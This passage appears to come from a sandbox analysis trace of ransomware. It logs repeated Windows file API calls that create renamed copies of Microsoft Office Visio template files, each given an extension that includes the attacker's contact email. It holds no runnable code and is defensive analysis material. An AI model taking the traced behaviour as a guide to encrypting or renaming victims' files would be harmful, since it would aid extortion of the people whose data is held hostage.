dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.371] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGPAN_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgpan_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.371] CloseHandle (hObject=0x1154) returned 1 [0276.371] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.372] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGPAN_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgpan_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.372] CloseHandle (hObject=0x1154) returned 1 [0276.372] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.373] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGPER_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgper_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.373] CloseHandle (hObject=0x1154) returned 1 [0276.374] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.374] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGPER_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgper_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.374] CloseHandle (hObject=0x1154) returned 1 [0276.375] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.375] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGPET_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgpet_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.375] CloseHandle (hObject=0x1154) returned 1 [0276.376] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.376] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGPET_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgpet_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.376] CloseHandle (hObject=0x1154) returned 1 [0276.376] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.377] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGPIP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgpip_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.377] CloseHandle (hObject=0x1154) returned 1 [0276.378] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.378] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGPIP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgpip_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.378] CloseHandle (hObject=0x1154) returned 1 [0276.379] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.379] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGSTO_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgsto_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.379] CloseHandle (hObject=0x1154) returned 1 [0276.380] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.380] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGSTO_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgsto_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.380] CloseHandle (hObject=0x1154) returned 1 [0276.381] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.381] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGTAC_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgtac_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.381] CloseHandle (hObject=0x1154) returned 1 [0276.382] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.382] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\ORGTAC_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\orgtac_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.382] CloseHandle (hObject=0x1154) returned 1 [0276.776] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.776] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PRSSTS_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\prssts_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.776] CloseHandle (hObject=0x1154) returned 1 [0276.777] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.777] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PSTRCT_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pstrct_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.778] CloseHandle (hObject=0x1154) returned 1 [0276.779] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.779] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PSTRCT_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\pstrct_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.779] CloseHandle (hObject=0x1154) returned 1 [0276.780] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.780] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PTSCLD_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ptscld_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.781] CloseHandle (hObject=0x1154) returned 1 [0276.781] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.781] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PTSCLD_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ptscld_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.782] CloseHandle (hObject=0x1154) returned 1 [0276.782] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.783] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PTSINT_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ptsint_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.783] CloseHandle (hObject=0x1154) returned 1 [0276.784] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.784] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PTSINT_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ptsint_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.784] CloseHandle (hObject=0x1154) returned 1 [0276.784] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.785] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PTSINT_VISIO2013_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ptsint_visio2013_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.785] CloseHandle (hObject=0x1154) returned 1 [0276.786] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.786] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PTSINT_VISIO2013_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ptsint_visio2013_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.786] CloseHandle (hObject=0x1154) returned 1 [0276.787] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.787] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PTSKST_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ptskst_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.787] CloseHandle (hObject=0x1154) returned 1 [0276.788] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.788] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PTSKST_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ptskst_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.788] CloseHandle (hObject=0x1154) returned 1 [0276.789] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.789] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PTUSCL_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ptuscl_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.789] CloseHandle (hObject=0x1154) returned 1 [0276.790] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.790] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\PTUSCL_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\ptuscl_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.791] CloseHandle (hObject=0x1154) returned 1 [0276.791] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.791] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\RACK_M.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\rack_m.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.792] CloseHandle (hObject=0x1154) returned 1 [0276.792] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.793] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\RACK_U.VSTX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\rack_u.vstx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.793] CloseHandle (hObject=0x1154) returned 1 [0276.794] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.794] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\RCKEQP_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\rckeqp_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.794] CloseHandle (hObject=0x1154) returned 1 [0276.795] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.795] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\RCKEQP_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\rckeqp_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.795] CloseHandle (hObject=0x1154) returned 1 [0276.796] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.796] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\RCKSME_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\rcksme_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.796] CloseHandle (hObject=0x1154) returned 1 [0276.797] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.797] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\RCKSME_U.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\rcksme_u.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0276.798] CloseHandle (hObject=0x1154) returned 1 [0276.799] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.799] SetFilePointerEx (in: hFile=0x1154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\RCKSVR_M.VSSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\rcksvr_m.vssx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff 